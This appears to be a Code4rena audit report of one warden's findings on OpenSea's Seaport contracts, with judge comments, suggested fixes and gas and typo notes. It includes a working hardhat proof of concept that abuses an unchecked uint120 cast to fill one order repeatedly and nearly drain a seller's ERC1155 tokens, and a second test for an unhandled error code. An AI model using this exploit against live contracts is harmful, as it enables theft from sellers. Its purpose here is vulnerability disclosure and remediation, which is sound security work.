Platform: Code4rena
Start Date: 20/05/2022
Pot Size: $1,000,000 USDC
Total HM: 4
Participants: 59
Period: 14 days
Judge: leastwood
Id: 128
League: ETH
Rank: 2/59
Findings: 3
Award: $246,009.98
🌟 Selected for report: 0
🚀 Solo Findings: 0
22572.5904 USDC - $22,572.59
https://github.com/ProjectOpenSea/seaport/blob/49799ce156/contracts/lib/OrderValidator.sol#L228-L231
Repo commit referenced: 49799ce156d979132c9924a739ae45a38b39ecdd
In the lines OrderValidator.sol#L223-L239 where the orderStatus
for an orderHash
gets updated:
_orderStatus[orderHash].numerator = uint120( filledNumerator + numerator ); _orderStatus[orderHash].denominator = uint120(denominator);
The contract casts values from uint256
to uint120
without checking for an overflow. This can be exploited to fulfill the same order with different fractions that sum up to more than 1
(and in fact, the sum of fractions can be made arbitrarily high). This breaks the assumption for the seller
on their allocated token amount for the order. A malicious actor can target this vulnerability to almost drain the seller
's token balance (the token/id used in the original validated order).
Here is a POC as a hardhat test which can be incorporated in the hardhat test file provided by this repo (since we are using some of the utility functions defined in that test file):
it("Does not revert on multiple partially filled orders with sum of fractions greater than one using advanced orders", async () => { // for fraction 1/2^60 const n1 = toBN(1); const d1 = ethers.BigNumber.from(2).pow(60); // for fraction (2^60 -1)/(2^60 + 1) const n2 = d1.sub(1); const d2 = d1.add(1); // M = 2^120 + 2^60 const M = d1.mul(d2); // Seller mints nft const { nftId, amount } = await mintAndApprove1155( seller, marketplaceContract.address, M.mul(4) ); // Offer amount needs to be divisible by M const offer = [ getTestItem1155(nftId, M, M) ]; // Consideration amount needs to be divisible by M const consideration = [ getItemETH(M, M, seller.address) ]; const { order, orderHash, value } = await createOrder( seller, zone, offer, consideration, 1 // PARTIAL_OPEN ); let orderStatus = await marketplaceContract.getOrderStatus(orderHash); expect({ ...orderStatus }).to.deep.equal( buildOrderStatus(false, false, 0, 0) ); // fund buyer with enough ETH // for other routes we need to make sure // the buyer has enough ERC20 or ERC1155 tokens await provider.send("hardhat_setBalance", [buyer.address, M.mul(10).toHexString().replace("0x0", "0x")]); // utility function const _buy = async (n, d) => { order.numerator = n; order.denominator = d; await withBalanceChecks([order], 0, [], async () => { const tx = marketplaceContract .connect(buyer) .fulfillAdvancedOrder(order, [], toKey(false), { value, }); const receipt = await (await tx).wait(); await checkExpectedEvents( tx, receipt, [ { order, orderHash, fulfiller: buyer.address, fulfillerConduitKey: toKey(false), }, ], null, [] ); return receipt; }); orderStatus = await marketplaceContract.getOrderStatus(orderHash); expect({ ...orderStatus }).to.deep.equal( // NOTE: the values below are independent // of the input for our chosen factions n1/d1, n2/d2. buildOrderStatus(true, false, n1, d1) ); } await _buy(n1, d1); await _buy(n2, d2); await _buy(n2, d2); await _buy(n2, d2); // ... // the buyer can keep filling orders with the // fraction n2/d2 till they almost deplete the seller's // ERC1155 token balance, even passed the allocated // amount for the originally signed/validated order });
The chosen $\frac{n_1}{d_1} = \frac{1}{2^{60}}$ and $\frac{n_2}{d_2}=\frac{2^{60} - 1}{2^{60} + 1}$ fractions have this property that:
So after partially fulfilling an order with the fraction $\frac{n_1}{d_1}$, a partial fulfillment using the 2nd fraction $\frac{n_2}{d_2}$ acts as an idempotent operation which can be applied indefinitely as long as both parties have enough of their respective tokens. This means the storage variable which keeps tabs of this particular order (_orderStatus[orderHash]
, OrderValidator.sol#L28) will always have the value $\frac{n_1}{d_1}$ stored in its slot.
Also note:
This means a malicious buyer
can exchange almost all the seller
's ERC1155 token (definitely more than the allocated amount in this example, the amount is M
)
The above POC can be extended to any partially fillable order route. Also, there is a family of fractions for the case of just 2 fractions. And the POC can be extended to examples with more than just 2 fraction combinations.
HardHat
Make sure all the arithmetic operations regarding the update process for the new numerator and denominator are done in uint120
so that an overflow would not happen
or
check for uint120
overflows and revert.
#0 - HardlyDifficult
2022-06-17T17:05:25Z
Dupe of #77
🌟 Selected for report: Spearbit
Also found by: Saw-mon_and_Natalie
212371.5561 USDC - $212,371.56
https://github.com/ProjectOpenSea/seaport/blob/49799ce156d979132c9924a739ae45a38b39ecdd/contracts/lib/FulfillmentApplier.sol#L274 https://github.com/ProjectOpenSea/seaport/blob/49799ce156d979132c9924a739ae45a38b39ecdd/contracts/lib/FulfillmentApplier.sol#L571 https://github.com/ProjectOpenSea/seaport/blob/49799ce156d979132c9924a739ae45a38b39ecdd/contracts/lib/FulfillmentApplier.sol#L746-L756 https://github.com/ProjectOpenSea/seaport/blob/49799ce156d979132c9924a739ae45a38b39ecdd/contracts/lib/FulfillmentApplier.sol#L465-L476
FulfillmentApplier.sol
Repo commit referenced: 49799ce156d979132c9924a739ae45a38b39ecdd
In _aggregateValidFulfillmentOfferItems
(Line 274) and _aggregateValidFulfillmentConsiderationItems
(Line 571) a variable errorBuffer
has been defined as
// Create variable to track errors encountered with amount. let errorBuffer := 0
and later on in a for loop this value keeps getting updated:
// Update error buffer (1 = zero amount, 2 = overflow). errorBuffer := or( errorBuffer, or( shl(1, lt(newAmount, amount)), iszero(mload(amountPtr)) ) )
Unlike what the comment describes in the code block above, the value of errorBuffer
can also be 3 when we have
Keeping that in mind, at the end of each function, we have a check for the value of errorBuffer
and depending on if it is 1 or 2, we will throw an error:
// Determine if an error code is contained in the error buffer. switch errorBuffer case 1 { // Store the MissingItemAmount error signature. mstore(0, MissingItemAmount_error_signature) // Return, supplying MissingItemAmount signature. revert(0, MissingItemAmount_error_len) } case 2 { // If the sum overflowed, panic. throwOverflow() }
So the case when errorBuffer
is 3, is not catched.
Here is a POC as a hardhat test which can be incorporated in the hardhat test file provided by this repo (since we are using some of the utility functions defined in that test file):
it("Match with overflow amounts for bufferError and with an item amount 0", async () => { const total = ethers.BigNumber.from(4); const amount1 = ethers.BigNumber.from(10); const amount2 = ethers.constants.MaxUint256.sub(5); const nftId = toBN(1); await mint1155(seller,1, testERC1155, nftId, total); await set1155ApprovalForAll(seller, marketplaceContract.address); await set1155ApprovalForAll(buyer, marketplaceContract.address); const offerOne = [ getTestItem1155( nftId, amount1, amount1, testERC1155.address, undefined, ), getTestItem1155( nftId, amount2, amount2, testERC1155.address, undefined, ), getTestItem1155( nftId, toBN(0), toBN(0), testERC1155.address, undefined, ), ]; const considerationOne = [ getItemETH(parseEther("10"), parseEther("10"), seller.address), ]; const { order: orderOne, orderHash: orderHashOne } = await createOrder( seller, zone, offerOne, considerationOne, 0 // FULL_OPEN ); const offerTwo = [ getItemETH(parseEther("10"), parseEther("10"), undefined), ]; const considerationTwo = [ getTestItem1155( nftId, total, total, testERC1155.address, buyer.address ), ]; const { order: orderTwo, orderHash: orderHashTwo } = await createOrder( buyer, zone, offerTwo, considerationTwo, 0 // FULL_OPEN ); const fulfillments = [ [[[1, 0]], [[0, 0]]], [[ [0, 0], [0, 1], [0, 2] ], [[1, 0]]], ].map(([offerArr, considerationArr]) => toFulfillment(offerArr, considerationArr) ); const executions = await simulateAdvancedMatchOrders( [orderOne, orderTwo], [], // no criteria resolvers fulfillments, buyer, parseEther("10") ); expect(executions.length).to.equal(fulfillments.length); const tx = marketplaceContract .connect(buyer) .matchAdvancedOrders( [orderOne, orderTwo], [], fulfillments, { value: parseEther("10"), } ); const receipt = await (await tx).wait(); await checkExpectedEvents( tx, receipt, [ { order: orderOne, orderHash: orderHashOne, fulfiller: constants.AddressZero, }, { order: orderTwo, orderHash: orderHashTwo, fulfiller: constants.AddressZero, }, ], executions, [], // no criteria resolvers true, multiplier = 1 ); return receipt; });
The test above passes and so matchAdvancedOrders
(which is an external
function for Seaport
) does not throw an error.
Add a 3rd case for bufferError
covering when its value is 3
.
// Determine if an error code is contained in the error buffer. switch errorBuffer case 1 { // Store the MissingItemAmount error signature. mstore(0, MissingItemAmount_error_signature) // Return, supplying MissingItemAmount signature. revert(0, MissingItemAmount_error_len) } case 2 { // If the sum overflowed, panic. throwOverflow() } case 3 { // If the sum overflowed, and also if there is a missing item amount (= 0). // TODO: throw a custom error }
#0 - 0xleastwood
2022-06-22T10:53:18Z
The warden has identified an edge case which is incorrectly handled by the _aggregateValidFulfillmentOfferItems()
and _aggregateValidFulfillmentConsiderationItems()
functions. As such, these functions may accept an invalid input as it fails to revert even though an error is present. I do not believe funds are at risk, however, users may unintentionally fulfill an order with invalid inputs. This order fulfillment is likely to always revert due to an overflow/zero amount input. As a result, this would impact the protocol's overall user experience and for that reason, I think medium
severity is justified.
Great find!
#1 - HardlyDifficult
2022-07-05T00:20:11Z
🌟 Selected for report: Spearbit
Also found by: 0xsanson, Chom, IllIllI, OriDabush, Saw-mon_and_Natalie, broccoli, cccz, cmichel, csanuragjain, foobar, hack3r-0m, hickuphh3, hubble, hyh, ilan, kebabsec, mayo, oyc_109, peritoflores, rfa, scaraven, sces60107, shung, sorrynotsorry, tintin, twojoy, zkhorse, zzzitron
11065.8251 USDC - $11,065.83
Repo commit referenced: 49799ce156d979132c9924a739ae45a38b39ecdd
For lines 82-86, we can define a new YUL variable, basicOrderType
to remove the need to call calldataload
twice and also adding the BasicOrder_basicOrderType_cdPtr
twice to the stack, the modified code block would look like this:
let basicOrderType := calldataload(BasicOrder_basicOrderType_cdPtr) // Mask all but 2 least-significant bits to derive the order type. orderType := and(basicOrderType, 3) // Divide basicOrderType by four to derive the route. route := div(basicOrderType, 4)
This would make the code more readable and also should require less gas.
Function _transferERC20AndFinalize
is missing a NatSpec info for accumulator
. Need to add:
* @param accumulator An open-ended array that collects transfers to execute * against a given conduit in a single call.
Typo in SpentItem
NatSpec comment d
is missing from and
(Line 68
):
- * @dev A spent item is translated from a utilized offer item an has four + * @dev A spent item is translated from a utilized offer item and has four
On line 56
and 166
the for loops can be modified to:
uint256 i = 0; // Iterate over each criteria resolver. for (; i < totalCriteriaResolvers;) { ... ++i; } i = 0; // Iterate over each advanced order. for (; i < totalAdvancedOrders;) { ... ++i; }
Note. We don't need to use unchecked
for ++i
since both for loop blocks are child nodes of a bigger unchecked
block.
The same modification can be made for the for loops with the j
counter on line 184
and 199
.
One line 177
, the ith element of advancedOrders
is lookup even though that element is already have been saved in memory as advancedOrder
Current (lines 168-178
):
AdvancedOrder memory advancedOrder = advancedOrders[i]; // Skip criteria resolution for order if not fulfilled. if (advancedOrder.numerator == 0) { continue; } // Retrieve the parameters for the order. OrderParameters memory orderParameters = ( advancedOrders[i].parameters );
So we can reuse advancedOrder
and the modified block would be:
AdvancedOrder memory advancedOrder = advancedOrders[i]; // Skip criteria resolution for order if not fulfilled. if (advancedOrder.numerator == 0) { continue; } // Retrieve the parameters for the order. OrderParameters memory orderParameters = ( advancedOrder.parameters );
ie:
- advancedOrders[i].parameters + advancedOrder.parameters
Using the AccumulatorArmed
defined constants from ConsiderationConstants.sol
, we can rewrite Executor.sol:L433:
// file: contracts/lib/Executor.sol:L433 - if (accumulator.length != 64) { + if (accumulator.length != AccumulatorArmed) {
The if
block on lines 180-183
has typos for the comment before the if
block:
// Set the offerer as the receipient if execution amount is nonzero. if (execution.item.amount == 0) { execution.item.recipient = payable(execution.offerer); }
nonzero
needs to be changed to zero
and receipient
to recipient
- // Set the offerer as the receipient if execution amount is nonzero. + // Set the offerer as the recipient if execution amount is zero.
Typo in comment on line 131
, offer items
should be consideration items
:
- // Iterate over the offer items (not including tips). + // Iterate over the consideration items (not including tips).
On line 170
a memory location has been set with an unpredictable address/content:
let typeHashPtr := sub(orderParameters, OneWord)
For the function _validateOrdersAndPrepareToFulfill
is the maximumFulfilled
has been reached, the loop keeps continuing without essentailly doing anything other than wasting gas, since on line 196
it keeps jumping to the next i
value. The continue
statement on line 196
should be replaced by the break
statement to exit the loop. (Ref)
for (uint256 i = 0; i < totalOrders; ++i) { // Retrieve the current order. AdvancedOrder memory advancedOrder = advancedOrders[i]; // Determine if max number orders have already been fulfilled. if (maximumFulfilled == 0) { // Mark fill fraction as zero as the order will not be used. advancedOrder.numerator = 0; // Update the length of the orderHashes array. assembly { mstore(orderHashes, add(i, 1)) } // Continue iterating through the remaining orders. - continue; + break; }
To optimize the for loop in Lines 468-475
The code block below:
// Skip overflow check as the index for the loop starts at zero. unchecked { // Iterate over the given orders. for (uint256 i = 0; i < totalOrders; ++i) { // Convert to partial order (1/1 or full fill) and update array. advancedOrders[i] = _convertOrderToAdvanced(orders[i]); } }
can be changed too:
// Skip overflow check as the index for the loop starts at zero. unchecked { // Iterate over the given orders. uint256 i = 0; for (; i < totalOrders;) { // Convert to partial order (1/1 or full fill) and update array. advancedOrders[i] = _convertOrderToAdvanced(orders[i]); ++i; } }
In the function _performERC1155BatchTransfers(ConduitBatch1155Transfer[] calldata batchTransfers)
on line 542
the data
length offset value is incorrect.
// Set the length of the data array in memory to zero. mstore( add( BatchTransfer1155Params_data_length_basePtr, idsAndAmountsSize ), 0 )
This value is used to call a safeBatchTransferFrom(address from, address to, uint256[] ids, uint256[] amounts, bytes data)
endpoint on a ERC1155
contract.
The formula for the offset should be:
Currently the offset is $\mathtt{0x104} + \text{idsAndAmountsSize}$ which expands memory 2 words extra more than the necessary amount.
Here is an example (cast from foundry):
>> cast abi-encode "safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)" 0x8496a8EDc4A0894123062194015c0Cf86b7A277c 0x8496a8EDc4A0894123062194015c0Cf86b7A277c [] [] 0x 0x00 0000000000000000000000008496a8edc4a0894123062194015c0cf86b7a277c from 0x20 0000000000000000000000008496a8edc4a0894123062194015c0cf86b7a277c to 0x40 00000000000000000000000000000000000000000000000000000000000000a0 head(ids) 0x60 00000000000000000000000000000000000000000000000000000000000000c0 head(amounts) 0x80 00000000000000000000000000000000000000000000000000000000000000e0 head(data) 0xa0 0000000000000000000000000000000000000000000000000000000000000000 ids_length 0xc0 0000000000000000000000000000000000000000000000000000000000000000 amounts_length 0xe0 0000000000000000000000000000000000000000000000000000000000000000 data_length
The above ABI encoding does not include the ZeroSlot
in the memory and also the function signature after adding those according to the instruction in _performERC1155BatchTransfers
we would get:
0x000 0000000000000000000000000000000000000000000000000000000000000000 ZeroSlot 0x004 2eb2c2d6 0x024 0000000000000000000000008496a8edc4a0894123062194015c0cf86b7a277c from 0x044 0000000000000000000000008496a8edc4a0894123062194015c0cf86b7a277c to 0x064 00000000000000000000000000000000000000000000000000000000000000a0 head(ids) 0x084 00000000000000000000000000000000000000000000000000000000000000c0 head(amounts) 0x0a4 00000000000000000000000000000000000000000000000000000000000000e0 head(data) 0x0c4 0000000000000000000000000000000000000000000000000000000000000000 ids_length 0x0e4 0000000000000000000000000000000000000000000000000000000000000000 amounts_length 0x104 0000000000000000000000000000000000000000000000000000000000000000 data_length
In this example we have idsAndAmountsSize
= 0x40
= TwoWords
and the constant BatchTransfer1155Params_data_length_basePtr
= 0x104
(based on TokenTransferrerConstants.sol), so according to the line TokenTransferrer.sol:542
the data_length
memory offset would need to be 0x144
which is outside of the neccesssary memory area.
To fix this error, these changes need to be applied:
Block before change:
// file: contract/lib/TokenTransferrer:L541 // Set the length of the data array in memory to zero. mstore( add( BatchTransfer1155Params_data_length_basePtr, idsAndAmountsSize ), 0 ) // Determine the total calldata size for the call to transfer. let transferDataSize := add( BatchTransfer1155Params_data_length_basePtr, mul(idsLength, TwoWords) )
Block after change:
// file: contract/lib/TokenTransferrer:L541 // Determine the total calldata size for the call to transfer. let transferDataSize := add( BatchTransfer1155Params_data_length_basePtr, idsAndAmountsSize ) // Set the length of the data array in memory to zero. mstore( transferDataSize, 0 )
and also the following constant would need to be updated:
// file: contract/lib/TokenTransferrerConstants.sol:L146 - uint256 constant BatchTransfer1155Params_data_length_basePtr = 0x104; + uint256 constant BatchTransfer1155Params_data_length_basePtr = 0xc4;
The change above removes uses less arithmetic operation which in turn would also save some gas.
For the function _assertRestrictedAdvancedOrderValidity
on lines 104-113, offerer
and zone
are passed as two extra inputs although advancedOrder
contains those 2 parameters.
function _assertRestrictedAdvancedOrderValidity( AdvancedOrder memory advancedOrder, CriteriaResolver[] memory criteriaResolvers, bytes32[] memory priorOrderHashes, bytes32 orderHash, bytes32 zoneHash, OrderType orderType, address offerer, address zone ) internal view {
These parameters can be accessed as:
advancedOrder.parameters.offerer advancedOrder.parameters.zone
This brings up the question if the extra inputs were provided like that to save gas, since using advancedOrder.parameters.VARIABLE
would require the compiler to use extra instruction to calculate the memory offset and also load those variables to memory. This extra work was perhaps done in a function calling _assertRestrictedAdvancedOrderValidity
.
There is typo on line 13
in the NatSpec comment:
offerrer
replaced by offerer
- either the offerrer or the order's zone or approved as valid by the + either the offerer or the order's zone or approved as valid by the
The for loops in these FILES:LINES
can be changed.
General structure used:
for (uint256 i = 0; CONDITION; ++i) { ... }
Change to:
uint256 i = 0; for (; CONDITION;) { ... unchecked { ++i; } }
The unchecked
inner block might not be necessary since some of the loops are inside a bigger unchecked
block.
and for the assembly blocks in FILES:LINES:
General structure used:
for { initial }{ condition }{ increment } { ... }
Change to
initial for {}{ condition }{} { ... increment }
#0 - 0age
2022-06-03T04:32:40Z
This is pretty much entirely high-quality stuff!